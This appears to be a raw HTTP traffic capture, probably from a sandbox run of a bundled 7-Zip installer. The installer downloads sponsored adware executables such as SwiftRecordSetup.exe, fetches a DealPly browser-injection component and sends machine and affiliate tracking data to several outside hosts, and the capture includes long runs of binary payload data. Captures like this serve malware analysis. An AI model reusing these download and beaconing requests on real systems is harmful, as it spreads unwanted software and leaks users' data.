...n........h. .l..R\_..K.x.xZ.5'/.s..t..%G...K.Bn.MJ%...,D~4..y..[O*.
....C.Bb..`.{...(...b?..&#$1.\<.....ZUi6..|...!.*.[(..'x..}[email protected]
K@,..X....H....0...0...0..q..........t....o0...*.H........0..1.0...U..
..US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc
.110/..U...(Go Daddy Root Certificate Authority - G20...150316070000Z.
.160316070000Z0..1.0...U....US1.0...U....Arizona1.0...U....Scottsdale1
.0...U....GoDaddy.com, Inc.100...U...'Go Daddy Root Validation Authori
ty - G20.."0...*.H.............0.........xo(....QQ.`L.~...&...a.F.=...
..d=....."......?...\..........b.D....l=.HS.N......A..;....C)...(..T..
......XA-N....k1 .....ag...,4.L{.I..hEKb..K......!.(...7....p.O...X.._
........8.B..k[4...........e.../....^.S..7A.b.oB..\......2%.|c...A....
Fk.T..24.0B...p.........0..0...U.......0.0...U...........0...U.%..0...
 ......... .......0...U.......O........f...e..r..0... .....0......0@..
U...90705.3.1./hXXp://crl.godaddy.com/repository/gdroot-g2.crl0J..U. .
C0A0?..`.H...m....000... ........"hXXp://crl.godaddy.com/repository/0.
..*.H.............bW%D.2.X..U[0d..........|.BaG.Y.?.u...\...M..6.=

<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=DealPly HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:23:33 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:23:33 GMT..Content-Length: 0..

GET /12502.ashx?e=4mC0vXGWFtpLIQoO9u2NqiGZf5tV7NUiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/ixO6Rp7XuOM0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:41 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:41 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /pin.gif?e=tracking&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&t=0&v=9.10.9200.16521&b=ie&ai=wppapp1.06&os=6.1x64&osv=7601 HTTP/1.1

User-Agent: Microsoft Internet Explorer

Host: stat.webprotectionfree.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:12 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:21:12 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 0-523263/523264

Content-Length: 523264

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......;.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=457856-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 457856-523263/523264

Content-Length: 65408

Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;....
.v..@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...9.T.
5-.:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0....\
L..&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!.......
..fR.Dht_H....X...h..n.....~.n.... v,[email protected].:../
..Q.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9....VQ5
.].. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; ..!..
.^Q.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J........
.KB$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d.....
...lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x....Q./
!u.8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>C..
...aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.v..S
P....e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*.....6.
M..R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5...!.M
.. 1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G".......o.Q
9.O..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."............[..
=.,$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;.....j.
M..............q..H........S..`..e|)[email protected].?.>.\..i;...0
.....G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$....R.
.......,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W....C
2*..).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'.4..
.A..1!........Y....V..G5s.p.9...\[email protected]\U......'@1...L.e.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=filesfrog&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=0&index_in_screen=0&index_in_session=0&0.1873213158396364 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:25:07 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:25:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache



...v#..fh%...R..o!....K.A...........W.."s!....#....a.N$S....0..1_.....
.)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'....y..?........d....].
]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8...k.....*T...g..>
;Y"9...m.........J.E"H.: iZ...$..g)..`.d...............O[.OJk.G..{.9..
....y.....}...........#...b.G...-c..._F...._.....<..<.......F.5.
%e.5......Qn..hg..0o..W.[..............f^uT.(.L.H..CY...!/....t,.b.M@.
..9I...x....T.\. y.:8..LH.m..l..w].:;..)*....7P..a.b..{.._[=.p./.t....
0..Ke).......}`.[..>..p...]3O.6...........6$...........i...VJ....fE
..-.@r\%..r.5...~c.,....._...F........ha...m..._x8H.Mzj6.I.......h....
........@.... .Kt.QrlN....;...XY.....k...F...........Y....A{.....7.x..
.?v...|..].........3?.Z....t1X...C.....*..q......./......&E.{...]..0..
...Va.?.....N^F......;..,Q.t.....!<.P..v....c../w.BK..A.wP.....8RC.
4....;H.o..?.:z.1o...=Re..6.eacU.....KF^...H..5.`.r.4` 5)...I.Y..(....
@.=..KU...v.....1...\.Cc." ..'%.(.oA..5.....E ..P...n..$.y..&`.d_._.3.
.%YU...B..!...`G.T..DXs........`4........Em.}.p'..%...d9m...>t..KQ.
.%.Z......66...uu.4....3m.^?...)......&R.Em.....-.h.X...$.........>
.......B..o.~.]... p.}.$...?&!..f.V....C..Nvn..4}..b..3.....4.....]...
..<0._[........E..F..%D.k...F.u_.G;z.).....v....s....]~..?.........
t......u@\..%....S=0.#pv.Tr.7`:.X.4..uKU...N]9hre<"...%~.........3/
.h...X..z..d.h........4M|.d......,..Fx..F.X`1k...ss.o?lXr.!..J.7...Z..
.u...?../f.`4.ln.g."...l..ip.M^.f.W..}../..~.,...=...."6e_;.>....fD
m....L....|.W...D.my.._j..m...N_b.."5.k <H..>..s;.F.e.9%..4.<<< skipped >>>

GET /__utm.gif?utmwv=5.6.4&utms=6&utmn=1997704816&utmhn=installer.filebulldog.com&utmhid=1237336557&utmr=-&utmp=Installer_Init&utmht=1429691030686&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:22 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477508

Alternate-Protocol: 80:quic,p=1

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:22 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477508..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..

GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1

Host: download.cdn.mozilla.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=1200000-1499999

Connection: keep-alive


HTTP/1.1 206 Partial Content

Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT

ETag: "4b1e700-2dc5623-508c5f506dac8"

Server: Apache

X-Backend-Server: ftp3.dmz.scl3.mozilla.com

Content-Type: application/octet-stream

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

X-Cache-Info: cached

Cache-Control: max-age=45410

Expires: Wed, 22 Apr 2015 21:00:24 GMT

Date: Wed, 22 Apr 2015 08:23:34 GMT

Content-Range: bytes 1200000-1499999/47994403

Content-Length: 300000

Connection: keep-alive
,................L'...UM*..b...."..A.(.P`*.v..f...1.%.`.Xu...X# .d .".
 .B2!.J..U....Z1....ff.Q..)........v.S.B.D.. .U@X..`.AN....A.F.Q.E..U.
4..#=.Vy.b$..H.x...J..V&.Z.q...d....<.v.Q..*..p...,.1`%.Q.........H
.E..k*..Uj ..c ...S..I.Y....gz.aR.. .j...<\.xxE)..t.B..M.R.|..(...,
.Q..QD[_>.c..YcaA"X!T:...[j\...;2J...3.4.{.Mm.,..Q2....t<.Jw7..@
.al .......U .3....<....e%....R.....K.S=.3(.........K.>.|.%Q<
..,..H...X(. ....zg... tAh..Q...,...X1.H.E]kR.V.Q..q,ol.....Z..Hc....X
!.R....1mT...J.E..U.A#....mU...U.....s5.1 ...V2%h.c..........S.....b.&
.*YAj)G...F..#2....U.....C...d..ihR. .D`..J[m..Y.e....7Vv...D#1...X.A,
Z...|.t..KK..X.Z..|.c2..x........X2...Q....%......a.......-.L...S.....
.`...c#....V.... .`..[eB...1Q.b.....w..b....,.dr.Fg..w.b[.....4(.e,6n.
]..y...VWA....e.(T....e.P."cm..[......~G...l....h.f|..[[.m..8....%\K{a
H...6...Ls,....h.2h..p..aHR.K.b..DHu^.u.....W.b/k..l....'2.4M)M.Nhq..L
.-...e..^d...e.2..j`..B...%X1..6.-X.....[...b.. ....a....Q.w..P.....6.
..eaG.Llb0Q.;.f....h!Z...AE........._..j.4.Y...hQ......)..H..B..K=....
..........$}O.[.......P^.p.6....G.T&.9...mw.j...F!..'O........K...M.?.
....J..y....c"......@j4_x.#.......&.....8.n......r=..$_..)?e.u.OB.'...
.V.r.....Z,[email protected].'.."I...S[.........
...%e.........xo/[email protected]\..1.-..vAz...UQ.V.[L....
. qEQ.,.._ET/1..#.wX.-.1..(./.#.c....G..chR....%..X.]........q....]N.F
.Q...\Y..Q.I...[..o_..0..,x*.-y].t2...FB0....c..f.i.....w29..;:-.....u
.......zXKM.].?.........3Fsll|.l.q...7.'..m.......B[....a......:..<<< skipped >>>

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&0.24639551799866416 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.2.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:23:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.6841824490635404 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.3.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:17 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:23:17 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.5945441726173517 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.3.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:23 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:23:23 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&0.6578830610403008 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.4.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:24 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:23:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=50018-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 150054

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 50018-200071/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 1228e077cd8e3d045c8d3f88beaa5abd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pha3zL8ur4HjTrr7QWTyB1M5hWA3_VrUhZH0rMNK2WlJLKcLxzYQgg==
M.{..h.Hk.Y*.._4N.....w..?0 .G..K.F...!....f.b...Z...w.B.l..,.pB..2.~~
.......J.;k.#t..".np...K.....R..3.T........4..k/.?.../.....}..^.-.....
.P.W,X..b...Y.TZv.S.J.F.MZ.7.,..H.c..=.dt6u...(......O.......Mf4;...{s
...8......q.V....!J\B.....e...c..s...Y}.......9&:..z....1..l...v?.....
.7..4h.mJ....A.v..f....a.C...|E...\....T.O... ..|7f..vrw.......H......
.c...~...%..G/4K"<..d....2.e.G[..}=.S.R$.o......g.........y....)P..
wRr..[(.u.I|.6..My......y...I.t;.h....(n.m...b.G\.qH..G.......C?EC....
([email protected].....).q3....^L.. .....Yw......n.....a.3...^...g.yH..
..v.<x.X...D,M..'..MzF..zFf......|.h%.6M...d`.)[email protected]$SL....
... .&.7..(:.F.>8....M5..^o_.....o...\...N....x......q.O...7"QB...A
w....;G..b..{c .....?wF....jW=..r$hAHo.SdV.#.7..............>.B.z..
.J...I=...i.g..#....3. s>../j=vN........g.....O....D.1..C.V.E...6.f
I.}Y.{?L.....wh.$Rb.."... .}h..1..xQ...[[email protected]....*.9l
.Rfx...,..)D...%....{~...;q>s.0.........J.%....C ...>#qc.G...Q..
.$:|..b....[=...5.e\.Ov.O.:...._....J.M.)._.".../o...:.44.S.D..Fp...*.
.....[.u7...A...-......C...4.~...W.iK!.n.[:..%...."...5.3.M,t.w.w....s
...o..j9....b3..6(......0.-....&..`.].~..yc..p...JV(....O4....T..P-VDr
.D.....0..T.......|.S......rJ....K..X...t..............gl..O.g.{i..(..
l...*.*...$....@..[....6.p.....y.|f.A...&.ha.....t9H....-_..{'QV`.N.&g
t;...C..2...$:.....}/....`..#TKg..I....3.d..p.....IS.G.>Q'....[....
0q.8u...k~.F..H...2..~.X.E.>[email protected]..,B..'Q....L.]..Jy..UZ.<..W..
...z.>n.op..l.j.d .;*Ha#..xx}.8~J...QRK. ..Fi57._....~..!..X.n.<<< skipped >>>

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905 HTTP/1.1

Host: logs.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:22:00 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429690920.dop011.am4.t,1429690920.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 22 Apr 
2015 08:22:00 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1429690920.dop011.am4.t,1429690920.
cds058.am4.c..GIF89a.............,...........D..;..

GET //MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.godaddy.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:17 GMT

Server: Apache

Content-Transfer-Encoding: Binary

Cache-Control: max-age=118833, public, no-transform, must-revalidate

Last-Modified: Wed, 22 Apr 2015 07:08:05 GMT

Expires: Thu, 23 Apr 2015 19:08:05 GMT

ETag: "1230b5e5c5dc3c5a863c4d7717516d4202daee11"

P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"

Content-Length: 1741

Connection: close

Content-Type: application/ocsp-response

0..........0..... .....0......0...0.....0..1.0...U....US1.0...U....Ari
zona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Dad
dy Root Validation Authority - G2..20150422070805Z0d0b0:0... .........
#o..K......#..... ...:....g(.....An ............20150422070805Z....201
50423190805Z0...*.H................p.*Ya.k....q.Z..n.....z...[k...F.^.
...T......)...C......6......./...h...x.#.|....\..=.......p....O0......
...n........h. .l..R\_..K.x.xZ.5'/.s..t..%G...K.Bn.MJ%...,D~4..y..[O*.
....C.Bb..`.{...(...b?..&#$1.\<.....ZUi6..|...!.*.[(..'x..}[email protected]
K@,..X....H....0...0...0..q..........t....o0...*.H........0..1.0...U..
..US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc
.110/..U...(Go Daddy Root Certificate Authority - G20...150316070000Z.
.160316070000Z0..1.0...U....US1.0...U....Arizona1.0...U....Scottsdale1
.0...U....GoDaddy.com, Inc.100...U...'Go Daddy Root Validation Authori
ty - G20.."0...*.H.............0.........xo(....QQ.`L.~...&...a.F.=...
..d=....."......?...\..........b.D....l=.HS.N......A..;....C)...(..T..
......XA-N....k1 .....ag...,4.L{.I..hEKb..K......!.(...7....p.O...X.._
........8.B..k[4...........e.../....^.S..7A.b.oB..\......2%.|c...A....
